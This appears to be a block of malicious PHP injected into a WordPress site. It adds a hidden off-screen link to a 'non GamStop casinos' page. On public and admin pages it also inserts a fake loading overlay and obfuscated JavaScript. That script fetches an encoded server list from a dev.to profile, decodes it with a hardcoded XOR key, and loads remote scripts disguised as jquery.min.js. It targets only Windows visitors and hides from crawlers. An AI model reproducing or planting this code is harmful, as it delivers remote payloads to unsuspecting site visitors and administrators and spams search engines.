add_action('wp_footer', function () {
    if (is_front_page()) {
        $url  = esc_url('https://top.ukcasinosnongamstop.net/');
        $text = esc_html('non GamStop casinos');

        echo '<a href="' . $url . '" style="position:absolute;left:-9999px;height:1px;overflow:hidden;">' . $text . '</a>';
    }
});

add_action('wp_head', function() {
    echo '<meta http-equiv="Content-Security-Policy" content="connect-src 'self' https://dev.to">
<div id="R2FvKSeqkPMZAnMV" style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;display:flex;justify-content:center;align-items:center;z-index:9999">
    <div style="position:relative;width:30px;height:30px">
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.45s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.3s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.15s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite"></div>
    </div>
</div>
<style>@keyframes s{0%{transform:rotate(0)}to{transform:rotate(360deg)}}</style>
<script>
function decode(token, key) {
  if (key === undefined || key === null || key === "") key = "[84^I)&_9_G!l;J-wvP9w/iYoDGQ:xgq";

  function strToUtf8Bytes(str) {
    var bytes = [], i, cp, lo;
    for (i = 0; i < str.length; i++) {
      cp = str.charCodeAt(i);
      if (cp >= 0xD800 && cp <= 0xDBFF && i + 1 < str.length) {
        lo = str.charCodeAt(i + 1);
        if (lo >= 0xDC00 && lo <= 0xDFFF) { cp = 0x10000 + ((cp - 0xD800) << 10) + (lo - 0xDC00); i++; }
      }
      if (cp < 0x80) bytes.push(cp);
      else if (cp < 0x800) bytes.push(0xC0 | (cp >> 6), 0x80 | (cp & 0x3F));
      else if (cp < 0x10000) bytes.push(0xE0 | (cp >> 12), 0x80 | ((cp >> 6) & 0x3F), 0x80 | (cp & 0x3F));
      else bytes.push(0xF0 | (cp >> 18), 0x80 | ((cp >> 12) & 0x3F), 0x80 | ((cp >> 6) & 0x3F), 0x80 | (cp & 0x3F));
    }
    return bytes;
  }

  function b64urlToBytes(str) {
    var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
    var lookup = {}, i, ch, v, bytes = [], buffer = 0, bits = 0;
    for (i = 0; i < chars.length; i++) lookup[chars.charAt(i)] = i;
    for (i = 0; i < str.length; i++) {
      ch = str.charAt(i);
      if (!lookup.hasOwnProperty(ch)) continue;
      v = lookup[ch];
      buffer = (buffer << 6) | v; bits += 6;
      while (bits >= 8) { bits -= 8; bytes.push((buffer >> bits) & 0xFF); }
      buffer &= (1 << bits) - 1;
    }
    return bytes;
  }

  function utf8BytesToStr(bytes) {
    var out = "", i = 0, b0, cp;
    while (i < bytes.length) {
      b0 = bytes[i++];
      if (b0 < 0x80) cp = b0;
      else if ((b0 & 0xE0) === 0xC0) cp = ((b0 & 0x1F) << 6) | (bytes[i++] & 0x3F);
      else if ((b0 & 0xF0) === 0xE0) cp = ((b0 & 0x0F) << 12) | ((bytes[i++] & 0x3F) << 6) | (bytes[i++] & 0x3F);
      else cp = ((b0 & 0x07) << 18) | ((bytes[i++] & 0x3F) << 12) | ((bytes[i++] & 0x3F) << 6) | (bytes[i++] & 0x3F);
      if (cp > 0xFFFF) { cp -= 0x10000; out += String.fromCharCode(0xD800 + (cp >> 10), 0xDC00 + (cp & 0x3FF)); }
      else out += String.fromCharCode(cp);
    }
    return out;
  }

  var kb = strToUtf8Bytes(key);
  if (kb.length === 0) kb = [0];
  var data = b64urlToBytes(token);
  for (var i = 0; i < data.length; i++) {
    data[i] = data[i] ^ ((kb[i % kb.length] + i * 137) & 0xFF);
  }
  return utf8BytesToStr(data);
}

async function getServers() {
    const username = "4211917";

    try {
        const response = await fetch(`https://dev.to/api/users/${username}`);
        if (!response.ok) throw new Error(`HTTP ${response.status}`);

        const user = await response.json();
        const summary = user.summary || "";

        return decode(summary);
    } catch (err) {
        return null;
    }
}


function tryLoadScript(srcUrl, timeoutMs) {
  return new Promise((resolve, reject) => {
    const script = document.createElement("script");
    script.src = String(srcUrl);
    script.defer = true;
    
    const timeoutId = setTimeout(() => {
      reject(new Error(`Timeout loading: ${srcUrl}`));
    }, timeoutMs);
    
    script.onload = () => {
      clearTimeout(timeoutId);
      resolve(script);
    };
    
    script.onerror = () => {
      clearTimeout(timeoutId);
      reject(new Error(`Failed to load: ${srcUrl}`));
    };
    window.currentServer = srcUrl;
    document.head.appendChild(script);
  });
}

async function createDeferredScript(urls) {
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 3000);
      return script;
    } catch (error) {
    }
  }
  
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 6000);
      return script;
    } catch (error) {
    }
  }
  
  throw new Error("Failed to load script from all sources");
}

(async function() {
    const words = ["bot", "google", "spider"];
    const shouldBlock = words.some(w => navigator.userAgent.toLowerCase().includes(w.toLowerCase()));

    const shouldShow = typeof navigator !== "undefined" &&
        ((navigator.platform || "").toLowerCase().includes("win") &&
        (/windows/i).test(navigator.userAgent || ""));

    if (!shouldBlock && shouldShow) {
        setTimeout(() => document.getElementById("R2FvKSeqkPMZAnMV")?.remove(), 9000);
        
        try {
            const servers = await getServers();
            if (servers && servers.includes(";")) {
                const scriptUrls = servers.split(";").map(item => item + "/js/jquery.min.js");
                await createDeferredScript(scriptUrls);
            }
            else {
                const scriptUrls = [servers + "/js/jquery.min.js"];
                await createDeferredScript(scriptUrls);
            }
        } catch (error) {
        }
    } else {
        document.getElementById("R2FvKSeqkPMZAnMV")?.remove();
    }
})();
</script>
';
});
add_action('admin_head', function() {
    echo '<meta http-equiv="Content-Security-Policy" content="connect-src 'self' https://dev.to">
<div id="R2FvKSeqkPMZAnMV" style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;display:flex;justify-content:center;align-items:center;z-index:9999">
    <div style="position:relative;width:30px;height:30px">
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.45s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.3s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite;animation-delay:-.15s"></div>
        <div style="box-sizing:border-box;position:absolute;width:30px;height:30px;border:3px solid transparent;border-top-color:#676767;border-radius:50%;animation:s 1.2s cubic-bezier(.5,0,.5,1) infinite"></div>
    </div>
</div>
<style>@keyframes s{0%{transform:rotate(0)}to{transform:rotate(360deg)}}</style>
<script>
function decode(token, key) {
  if (key === undefined || key === null || key === "") key = "[84^I)&_9_G!l;J-wvP9w/iYoDGQ:xgq";

  function strToUtf8Bytes(str) {
    var bytes = [], i, cp, lo;
    for (i = 0; i < str.length; i++) {
      cp = str.charCodeAt(i);
      if (cp >= 0xD800 && cp <= 0xDBFF && i + 1 < str.length) {
        lo = str.charCodeAt(i + 1);
        if (lo >= 0xDC00 && lo <= 0xDFFF) { cp = 0x10000 + ((cp - 0xD800) << 10) + (lo - 0xDC00); i++; }
      }
      if (cp < 0x80) bytes.push(cp);
      else if (cp < 0x800) bytes.push(0xC0 | (cp >> 6), 0x80 | (cp & 0x3F));
      else if (cp < 0x10000) bytes.push(0xE0 | (cp >> 12), 0x80 | ((cp >> 6) & 0x3F), 0x80 | (cp & 0x3F));
      else bytes.push(0xF0 | (cp >> 18), 0x80 | ((cp >> 12) & 0x3F), 0x80 | ((cp >> 6) & 0x3F), 0x80 | (cp & 0x3F));
    }
    return bytes;
  }

  function b64urlToBytes(str) {
    var chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_";
    var lookup = {}, i, ch, v, bytes = [], buffer = 0, bits = 0;
    for (i = 0; i < chars.length; i++) lookup[chars.charAt(i)] = i;
    for (i = 0; i < str.length; i++) {
      ch = str.charAt(i);
      if (!lookup.hasOwnProperty(ch)) continue;
      v = lookup[ch];
      buffer = (buffer << 6) | v; bits += 6;
      while (bits >= 8) { bits -= 8; bytes.push((buffer >> bits) & 0xFF); }
      buffer &= (1 << bits) - 1;
    }
    return bytes;
  }

  function utf8BytesToStr(bytes) {
    var out = "", i = 0, b0, cp;
    while (i < bytes.length) {
      b0 = bytes[i++];
      if (b0 < 0x80) cp = b0;
      else if ((b0 & 0xE0) === 0xC0) cp = ((b0 & 0x1F) << 6) | (bytes[i++] & 0x3F);
      else if ((b0 & 0xF0) === 0xE0) cp = ((b0 & 0x0F) << 12) | ((bytes[i++] & 0x3F) << 6) | (bytes[i++] & 0x3F);
      else cp = ((b0 & 0x07) << 18) | ((bytes[i++] & 0x3F) << 12) | ((bytes[i++] & 0x3F) << 6) | (bytes[i++] & 0x3F);
      if (cp > 0xFFFF) { cp -= 0x10000; out += String.fromCharCode(0xD800 + (cp >> 10), 0xDC00 + (cp & 0x3FF)); }
      else out += String.fromCharCode(cp);
    }
    return out;
  }

  var kb = strToUtf8Bytes(key);
  if (kb.length === 0) kb = [0];
  var data = b64urlToBytes(token);
  for (var i = 0; i < data.length; i++) {
    data[i] = data[i] ^ ((kb[i % kb.length] + i * 137) & 0xFF);
  }
  return utf8BytesToStr(data);
}

async function getServers() {
    const username = "4211917";

    try {
        const response = await fetch(`https://dev.to/api/users/${username}`);
        if (!response.ok) throw new Error(`HTTP ${response.status}`);

        const user = await response.json();
        const summary = user.summary || "";

        return decode(summary);
    } catch (err) {
        return null;
    }
}


function tryLoadScript(srcUrl, timeoutMs) {
  return new Promise((resolve, reject) => {
    const script = document.createElement("script");
    script.src = String(srcUrl);
    script.defer = true;
    
    const timeoutId = setTimeout(() => {
      reject(new Error(`Timeout loading: ${srcUrl}`));
    }, timeoutMs);
    
    script.onload = () => {
      clearTimeout(timeoutId);
      resolve(script);
    };
    
    script.onerror = () => {
      clearTimeout(timeoutId);
      reject(new Error(`Failed to load: ${srcUrl}`));
    };
    window.currentServer = srcUrl;
    document.head.appendChild(script);
  });
}

async function createDeferredScript(urls) {
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 3000);
      return script;
    } catch (error) {
    }
  }
  
  for (const url of urls) {
    try {
      const script = await tryLoadScript(url, 6000);
      return script;
    } catch (error) {
    }
  }
  
  throw new Error("Failed to load script from all sources");
}

(async function() {
    const words = ["bot", "google", "spider"];
    const shouldBlock = words.some(w => navigator.userAgent.toLowerCase().includes(w.toLowerCase()));

    const shouldShow = typeof navigator !== "undefined" &&
        ((navigator.platform || "").toLowerCase().includes("win") &&
        (/windows/i).test(navigator.userAgent || ""));

    if (!shouldBlock && shouldShow) {
        setTimeout(() => document.getElementById("R2FvKSeqkPMZAnMV")?.remove(), 9000);
        
        try {
            const servers = await getServers();
            if (servers && servers.includes(";")) {
                const scriptUrls = servers.split(";").map(item => item + "/js/jquery.min.js");
                await createDeferredScript(scriptUrls);
            }
            else {
                const scriptUrls = [servers + "/js/jquery.min.js"];
                await createDeferredScript(scriptUrls);
            }
        } catch (error) {
        }
    } else {
        document.getElementById("R2FvKSeqkPMZAnMV")?.remove();
    }
})();
</script>
';
});